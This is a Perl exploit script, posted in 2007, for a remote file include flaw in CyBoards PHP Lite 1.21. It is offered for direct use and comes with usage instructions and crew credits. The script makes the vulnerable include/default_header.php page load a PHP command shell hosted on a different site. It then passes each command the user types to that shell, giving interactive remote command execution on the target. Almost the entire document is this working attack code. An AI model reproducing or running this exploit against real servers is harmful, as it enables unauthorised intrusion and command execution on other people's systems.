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cyboards-rfi.txt

Posted on 05 April 2007

#!/usr/bin/perl
#
#CyBoards PHP Lite 1.21 (script_path) Remote File Include Exploit
#
#Coded by bd0rk || SOH-Crew
#
#Usage: exploit.pl [target] [cmd shell] [shell variable]
#
#Greetings: str0ke, TheJT, Kacper, Lu7k, Maik
#
#Vulnerable Code: include("$script_path/include/default_style.css");
#
#Vendor: http://www.morpheusweb.it/html/scripts/php/forum/cyboards.zip

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:/// || $Pathtocmd!~/http:/// || !$cmdv){usage()}

head();

while()
{
print "[shell] $";
while(<STDIN>)
{
$cmd=$_;
chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'include/default_header.php?script_path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "
Could Not connect
";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[
]/[....]/;

if (!$cmd) {print "
Please Enter a Command

"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
{print "
Could Not Connect to cmd Host or Invalid Command Variable
";exit}
elsif ($return =~/^<br./>.<b>Fatal.error/) {print "
Invalid Command or No Return

"}

if($return =~ /(.*)/)


{
$finreturn = $1;
$finreturn=~ tr/[....]/[
]/;
print "
$finreturn

";
last;
}

else {print "[shell] $";}}}last;

sub head()
{
print "
============================================================================
";
print " *CyBoards PHP Lite 1.21 (script_path) Remote File Include Exploit*
";
print "============================================================================
";
}
sub usage()
{
head();
print " Usage: exploit.pl [target] [cmd shell location] [cmd shell variable]

";
print " <Site> - Full path to CyBoards ex: http://www.site.com/ 
";
print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt 
";
print " <cmd variable> - Command variable used in php shell 
";
print "============================================================================
";
print "                           Bug Found by bd0rk 
";
print "                           www.soh-crew.it.tt 
";
print "============================================================================
";
exit();
}

 

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